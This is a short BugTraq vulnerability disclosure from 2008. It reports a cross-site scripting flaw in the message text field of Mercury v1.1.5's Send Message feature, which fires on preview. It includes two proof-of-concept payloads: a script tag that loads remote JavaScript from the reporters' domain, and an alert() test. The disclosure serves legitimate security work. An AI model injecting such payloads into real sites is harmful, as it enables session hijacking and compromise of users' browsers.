BugTraq
Mercury v1.1.5 Send Message Cross-Site Scripting Feb 10 2008 10:25PM
No-reply aria-security net
Aria-Security Team (Persian Security Network)

http://Aria-Security.Net

---------------------------------------------

Greetz: Aura, imm02tal, iM4n, Mormoroth,

Mercury v1.1.5 Send Message Cross-Site Scripting

In order to make this vuln work you need to place your code in the "message text" area and press preview

Examples:

<script src=http://Aria-Security.net/test.js></script>

<script>alert('Aria-Security Team')</script>

Regards,

The-0utl4w

Aria-Security.Net

(Credits Goes To Aria-Security Team)

----------------------------

More Info @ http://forum.aria-security.net/forumdisplay.php?f=60

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus